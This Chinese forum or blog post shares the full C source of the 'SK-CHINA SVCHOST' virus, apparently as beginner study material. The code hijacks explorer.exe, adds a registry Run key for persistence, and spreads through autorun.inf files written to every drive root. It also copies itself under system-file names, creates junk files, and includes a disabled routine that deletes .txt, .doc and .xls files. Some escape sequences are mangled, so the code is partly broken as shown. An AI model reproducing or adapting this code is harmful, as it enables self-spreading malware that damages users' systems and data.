入门级的病毒源码[VC++]

一朋友发给我，其实需要一块块的啃，啃完了就不难理解

 

/* SK-CHINA SVCHOST virus WRITE BY S.K Compiler: DEV-CPP 4.9.9.2 */ /* SVCHOST.C */ /* SVCHOST.EXE */ /* SVCHOST.COM */ #include<stdio.h> /*标准输入输出*/ #include<string.h> /*字符串操作*/ #include<stdlib.h> /*其它函数*/ #include<process.h> /*进程控制*/ #include<dir.h> /*目录函数*/ #define SVCHOST_NUM 6 /*关键位置病毒复制数量*/ #define RUBBISH_NUM 5 /*垃圾文件数量*/ #define REMOVE_NUM 5 /*删除文件数*/ /*====================================================================*/ /* 文件AUTORUN.INF内容： 1.自动运行SVCHOST.com 2.覆盖默认打开命令，使用病毒体作为新的打开方式 3.覆盖默认资源管理器命令，使病毒体作为新的命令方式 */ char *autorun={"[AutoRun]/nopen=/"SVCHOST.com /s/"/nshell//open=打开(&O)/nshell//open//Command=/"SVCHOST.com /s/"/nshell//explore=资源管理器(&X)/nshell//explore//Command=/"SVCHOST.com /s/""}; /*=====================================================================*/ /* 添加注册表项： 1.自动运行生成病毒体C:/windows/wjview32.com */ char *regadd={"REGEDIT4/n/n[HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Run]/n/"wjview32/"=/"C:////windows////wjview32.com /s/""}; /*=====================================================================*/ /* 函数：复制文件 复制源：infile 目的地：outfile 成功返回0，失败返回1 */ int copy(char *infile,char *outfile) { FILE *input,*output; char temp; if(strcmp(infile,outfile)!=0 && ((input=fopen(infile,"rb"))!=NULL) && ((output=fopen(outfile,"wb"))!=NULL)) { while(!feof(input)) { fread(&temp,1,1,input); fwrite(&temp,1,1,output); } fclose(input); fclose(output); return 0; } else return 1; } /*=====================================================================*/ /* 函数：通过explorer自动运行 成功返回0，失败返回1,2 */ int autorun_explorer() { FILE *input; if((input=fopen("c://windows//system//explorer.exe","rb"))!=NULL) { fclose(input); remove("c://windows//$temp$"); remove("c://windows//system32//dllcache//$temp$"); return 1; } copy("c://windows//explorer.exe","c://windows//system//explorer.exe"); rename("c://windows//explorer.exe","c://windows//$temp$"); rename("c://windows//system32//dllcache//explorer.exe","c://windows//system32//dllcache//$temp$"); if(copy("SVCHOST.com","c://windows//explorer.exe")==0 && copy("SVCHOST.com","c://windows//system32//dllcache//explorer.exe")==0) return 0; else return 2; } /*=====================================================================*/ /* 函数：添加注册表项 成功返回0，失败返回1 */ int add_reg() { FILE *output; if((output=fopen("$$$$$","w"))!=NULL) { fprintf(output,regadd); fclose(output); spawnl(1,"c://windows//regedit.exe"," /s $$$$$",NULL); } } /*=====================================================================*/ /* 函数：复制病毒 + Autorun.inf自动运行 */ void copy_virus() { int i,k; FILE *input,*output; char *files_svchost[SVCHOST_NUM]={"svchost.com","c://windows//wjview32.com","c://windows//system//MSMOUSE.DLL","c://windows//system32//cmdsys.sys","c://windows//system32//mstsc32.exe","c://windows//explorer.exe"}; char temp[2][20]={"c://svchost.com","c://autorun.inf"}; for(i=0;i<SVCHOST_NUM;i++) { if((input=fopen(files_svchost[i],"rb"))!=NULL) { fclose(input); for(k=0;k<SVCHOST_NUM;k++) { copy(files_svchost[i],files_svchost[k]); } i=SVCHOST_NUM; } } for(i=0;i<SVCHOST_NUM;i++) { if((input=fopen(files_svchost[i],"rb"))!=NULL) { fclose(input); for(k=0;k<24;k++) { copy(files_svchost[i],temp[0]); if((output=fopen(temp[1],"w"))!=NULL) { fprintf(output,"%s",autorun); fclose(output); } temp[0][0]++; temp[1][0]++; } i=SVCHOST_NUM; } } } /*=====================================================================*/ /* 函数：制造垃圾文件 */ void make_rubbish() { int i; FILE *output; srand(0); for(i=0;i<RUBBISH_NUM;i++) { int n; char s[30]; n=rand(); sprintf(s,"C://DESTORY_感染_%d",n); if((output=fopen(s,"w"))!=NULL) { fprintf(output,"%ld%s",n*n,s); fclose(output); } } } /*=====================================================================*/ /* 函数：删除文件 */ void remove_files() { long done; int i; struct _finddata_t ffblk; char *remove_files[3]={"*.txt","*.doc","*.xls"}; for(i=0;i<3;i++) { if(_findfirst(remove_files[i],&ffblk)==-1) continue; while(!done) { remove(ffblk.name); _findnext(done,&ffblk); } _findclose(done); } } /*=====================================================================*/ /* 主程序 使用DEV-CPP 32位C工程 实现.C程序脱离命令行界面，于后台执行 */ int main(int argc,char **argv) { int contral=0; if(argc>1) if(strcmp(argv[1],"/s")==0) goto next1; autorun_explorer(); spawnl(1,"c://windows//system//explorer.exe",NULL); next1: add_reg(); copy_virus(); make_rubbish(); /* remove_files(); */ spawnl(1,"c://windows//system32//mstsc32.exe"," /s",NULL); return 0; }